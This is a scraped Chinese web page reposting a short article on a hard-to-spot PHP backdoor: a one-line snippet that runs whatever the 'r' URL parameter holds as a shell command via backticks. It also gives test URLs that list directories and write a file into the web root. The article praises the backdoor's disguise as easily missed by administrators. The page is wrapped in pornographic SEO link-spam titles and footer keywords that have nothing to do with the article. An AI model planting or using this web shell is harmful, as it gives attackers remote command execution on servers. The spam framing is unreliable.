天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

一個不易被發現的PHP后門代碼解析

偶然間看到一段,看起來似乎沒有什么問題,確是能致命的后門代碼,這里用到了一個一般的phper都不怎么關注的反撇號 ` ,反撇號包含的字符串,等同于shell_exec函數。

偽裝性很好,很容易被管理員忽略。

$selfNums = $_GET['r'];if (isset($selfNums)){  echo `$selfNums`;}

剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變量被一個符號包起來了,既然是變量為什么要這樣了,

而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵(位于感嘆號!旁邊的),

通過 echo `系統命令`; 可以達到 system(); 一樣的效果

如果不信的朋友可以測試

http://127.0.0.1/t.php?r=dir 可以列出目錄

http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:/web/90sec.php

我用 appserv 和虛擬主機已經測試成功。

php技術一個不易被發現的PHP后門代碼解析,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 日韩欧美国产免费看清风阁 | 精品久久香蕉国产线看观看麻豆 | 丰满女朋友在线观看中文 | 九九热视频这里只有精 | 国产在线观看免费观看不卡 | 国产在线视频分类精品 | 人人听力网mp3下载 人人舔人人爱 | 秋霞午夜鲁丝片午夜精品久 | 精品免费久久久久久成人影院 | 国产精品自在在线午夜蜜芽tv在线 | 国产成人cao在线 | 久久不射网 | 香蕉视频国产精品 | 少妇高潮久久久久7777 | 91国内精品久久久久免费影院 | 野花日本大全免费观看3中文版 | 亚洲zooz人禽交xxxx | 中国女人内谢69XXXXXA片 | 国产呦精品一区二区三区网站 | 亚洲精品蜜桃AV久久久 | 色久久久综合88一本道 | 国产精品久久免费视频 | 国产亚洲精品久久综合阿香蕉 | yy4408午夜场理论片 | 快播dvd吧| 伸进同桌奶罩里摸她胸作文 | 国语对白嫖老妇胖老太 | WWW色视频片内射 | 年轻的老师5理伦片 | 成人天堂资源WWW在线 | 轻轻cao | 国产亚洲中文字幕视频 | 我们日本在线观看免费动漫下载 | 免费精品一区二区三区AA片 | 亚洲精品成人A8198A片漫画 | 乱码AV午夜噜噜噜噜 | 成年色黄APP下载 | 亚洲精品在线影院 | 久久热这里面只有精品 | 伊人网综合 | 久久婷婷五月综合色精品首页 |